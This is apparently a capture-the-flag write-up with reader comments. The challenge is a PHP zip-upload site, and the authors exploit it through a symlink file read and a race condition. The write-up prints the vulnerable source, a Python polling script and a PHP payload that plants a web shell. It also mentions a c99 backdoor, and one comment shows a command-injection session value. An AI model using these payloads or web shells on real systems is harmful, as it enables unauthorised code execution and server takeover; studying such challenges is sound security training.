Description
This beautiful website for testing zip files contains a replica of a vulnerability found in a well known bug bounty site.
Log in with rob:smashthestate then exploit the vulnerability to gain access to the ‘admin’ account and the flag.
Automated tools and bruteforcing will not help you solve this challenge.
Resolution
Well, this challenge was pretty fun. It was quite easy, but we tested some bugs very deeply :).
Actually, we don’t think that our way of finding the flag was the good or not.
So, to begin, the web interface was really simple : a login form, a link that can be used to generate a token sent to the admin in order for him to connect, and an uploading form.
The only thing that we can do is uploading a zip. Once a zip is uploaded, the script will show us the content.
OK, so we can guess that the script is uploading the zip, dezipping it, and shows us the content. Let’s try to find a bug 🙂
By uploading a zip file containing only a folder, without any file, the script will bug, as shown below:
We’ve got a first information : the web path is /var/www/html/ which could be useful for later.
We also tried to send a zip containing a symlink by using the zip symlink command (zip –symlink <symlink file> zip.zip). We tried with a classic /etc/passwd symlink, and…
So, our test is good, we can actually read /etc/passwd, which is REALLY great 🙂
Remember our second test, the one that gave us the web path ? We juste need to create a symlink to /var/www/html/index.php, zip it, upload it, in order to get the source code! Just check below 😉
<?php $FAKE_DATABASE = array ( "rob" => "60df0ab1a78fd0d95a4cfa4b0854931b", // smashthestate "admin" => "8e11a50ef762f924d7af9995889873e4", ); $page = $_GET['page']; switch ($page) { case "login": echo "trying to log in"; $user = $_POST['user']; $pass = $_POST['pass']; if ($FAKE_DATABASE[$user] === md5($pass)) { session_start(); session_regenerate_id(True); $_SESSION['user'] = $user; header("Location: ?page=upload"); die(); } else { header("Location: ?"); } break; case "admin_login_help": session_start(); if(!isset($_SESSION['login_code']) ){ $_SESSION['login_code'] = bin2hex(openssl_random_pseudo_bytes(18)); echo "A login code has been emailed to the administrator. Once you have recieved it, please click <a href='?page=code_submit'>here</a>\n"; } else { echo "There is already an active login code for this session"; } break; case "code_submit": session_start(); $code = $_POST['code']; if (isset($code) && isset($_SESSION['login_code'])) { if ($code === $_SESSION['login_code'] ){ echo "Flag: "; passthru("sudo /bin/cat /var/www/html/flag"); } else { echo "Invalid code"; } } else { echo "<html> <form action='?page=code_submit' method='POST'>Please input the login code:<input name='code'/><input type='submit' value='submit'/></form> "; } break; case "upload": session_start(); if (!isset($_SESSION['user'])) { header("Location: ?"); } else { echo "Welcome ".$_SESSION['user'] ." <button onclick='document.cookie=\"PHPSESSID=deleted\";location=\"?\"'>Logout</button> "; echo "Use this form to verify zip integrity <form action='?page=process_upload' method='post' enctype='multipart/form-data'><input type='file' name='zipfile'/> <input type='submit' name='submit' value='Upload'/></form> "; } break; case "process_upload": session_start(); if (isset($_SESSION['user']) && $_FILES['zipfile']['name']) { if ($_FILES['zipfile']['size'] > 16000) { echo "File above max size of 10kb"; echo " <a href='?page=upload'>back</a>"; break; } $tmp_file = '/var/www/html/tmp/upload_'.session_id(); # ZipArchive may not be available # $zip = new ZipArchive; # $zip->open($_FILES['zipfile']['name']); # $zip->extractTo($tmp_file); exec('unzip -o '.$_FILES['zipfile']['tmp_name']. ' -d '.$tmp_file); echo "Zip contents: "; passthru("cat $tmp_file/* 2>&1"); exec("rm -rf $tmp_file"); echo " <a href='?page=upload'>back</a>"; } break; default: echo "<html> <form action='?page=login' method='POST'>Username: <input name='user'/> Password: <input type='password' name='pass'/> <input type='submit' value='Log in'/></form> <a href='?page=admin_login_help'>Admin login help</a></html>"; break; } ?>
Well, well, well!
This is just awesome, we have the whole index.php script (which is actually the only script of the website).
After looking at the source, we can clearly see that our goal is to read a flag file, as seen with the line passthru(“sudo /bin/cat /var/www/html/flag”).
To do that, a login_code var is required. This var is created and sent to the admin when we go to index.php?page=admin_login_help.
Obviously, we need to get this variable.
Obviously, we found a really great way to get the flag without knowing this variable! 🙂
Just take a look on the main functions of the script :
exec('unzip -o '.$_FILES['zipfile']['tmp_name']. ' -d '.$tmp_file); echo "Zip contents: "; passthru("cat $tmp_file/* 2>&1"); exec("rm -rf $tmp_file");
We have an exec, which unzip the files, another to cat them, and a third one to delete them.
This is just awesome! Why? Because it takes a LOT of time for doing these operations.
The script launch three external commands.
So, just imagine that we create a php file, containing some code, we zip it, and we upload it.
As the unzipped files are REALLY created on the web path, thanks to $tmp_file (its value is ‘/var/www/html/tmp/upload_’.session_id()), we clearly have time to execute the php file AFTER it is extracted, and BEFORE it is deleted.
You see the thing? Just awesome 😉
To do that, we need :
– a script that call our backdoor continually
– to upload our crafted zip continually too
As we are continually uploading, the index.php script will unzip our backdoor again and again. In the mean time, the script will try to call the backdoor again and again too. With a bit of luck, our backdoor could be executed, and we could be able to execute some code. Just have a try :
This is the script:
#!/usr/bin/python3 # -*- coding: utf-8 -*- import socket import request import time import urllib nb = 1 found = 0 req = request.request() req.dst = "54.152.101.3" req.host = "54.152.101.3" req.method = "GET" req.port = 80 req.cookies = "PHPSESSID=f8vnqm0gq1o5df2l5keev9kuc6;" req.uri = "/tmp/upload_f8vnqm0gq1o5df2l5keev9kuc6/aa.php" req.version = "HTTP/1.1" while (1): rep = req.send() if not '404' in rep.headers: print (req.request) print (rep) break
This is our php script that we want to execute :
<?php echo exec('mkdir ../.blabla'); echo exec('echo "<?php echo exec(\$_GET[\'the_lsd\']); ?>" > ../.blabla/pwn.php'); echo exec('chmod 777 ../.blabla/pwn.php'); echo shell_exec('ls -la ../.blabla'); ?>
We zip it, and upload it many time (remember, in the mean time, we launched our python script, that will try to execute the uploaded script):
If you look closely to the screenshot, you’ll see that the uploaded php script is not the same as shown before, because we forgot to screen the good one ^^’.
After refreashing the page many times (from 15 when we were lucky, to an hundred when we were not), we can see our python script showing us our backdoor execution:
GET /tmp/upload_f8vnqm0gq1o5df2l5keev9kuc6/aa.php HTTP/1.1 Host: 54.152.101.3 UserAgent: 0x90http Accept: */* Accept-Language: fr-FR Accept-Encoding: deflate Cookie: PHPSESSID=f8vnqm0gq1o5df2l5keev9kuc6; Referer: localhost Connection: Close HTTP/1.1 200 OK Date: Sat, 30 Jan 2016 16:15:20 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.14 Content-Length: 0 Connection: close Content-Type: text/html
Well… it’s seems that our script has been executed 🙂
To check that, we just need to see if a folder called blabla has been created (in our script, we had echo exec(‘mkdir ../.blabla’);)
WOOT! OUR FOLDER IS HERE! WITH OUR BACKDOOR! PERFECT!
We now have to try our backdoor, to check is it can be executed.
Just perfect 🙂 So, now, we have a write & execute access to the server. We just have to read the flag file.
But before that, we wanted to have a bit of fun 🙂 Just see the screenshots ^^
We also upload a real backdoor 🙂
Well, uploading a backdoor is not our main goal, we still have to get the flag. Thanks to c99, we just have to send the good command:
So, the flag was 8e11a50ef762f924d7af9995889873e4
And here we are, finally, the flag is here. If you look closely, you’ll see that the flag is the EXACT SAME as the admin password in the index.php script. Yep, we did it for nothing ^^’
Nevermind, it was a good challenge. the only reall, Really, REALLY weird thing was that the flag file was sometimes empty, or not readable. We had to send the sudo cat command multiple times to have the file content.
how to attack symlink 🙂
how to view /etc/passwd i don’t know …
so couldn’t you execute command by changing $tmp_file ?
my mean is change your session_id to “aaaa;ls -la;cat /”
so the tmp_file should be
$tmp_file = ‘/var/www/html/tmp/upload_aaaa;ls -la;cat /’;
passthru(“cat /var/www/html/tmp/upload_aaaa;ls -la;cat /* 2>&1”);
Actually, I don’t think it would have worked, as there is “if (isset($_SESSION[‘user’])” before the upload.
If you change your session id, the PHP will not recognise you anymore and you’ll not be able to upload, and then to inject your commands in the passthru.
Enjoy
The lsd
the challenge was unsolvable in almost all of the time. someone modified the sudoer file to restrict passwordless sudo access. btw, here is my simple race condition exploit to get a reverse shell:
http://pastebin.com/4wsSGPTK
the sudoer restriction:
http://pastebin.com/wdM64Grv
the timestamp of sudoer file:
-r–r—– 1 root root 786 Jan 30 12:02 sudoers
$ date
Sun Jan 31 12:46:48 UTC 2016
unfortunately the organizers didn’t deal with this (despite my request).
I did it on saturday afternoon GMT+1, it worked fine, excepted that the flag file was readable only some times. I had to reload my sudo cat multiple times to have the file content.
Maybe someone else was trying to modify the sudo at the same time.
(Just in case, that wasn’t me who stucked the challenge ^^’, I think it stupid…)
Enjoy
The lsd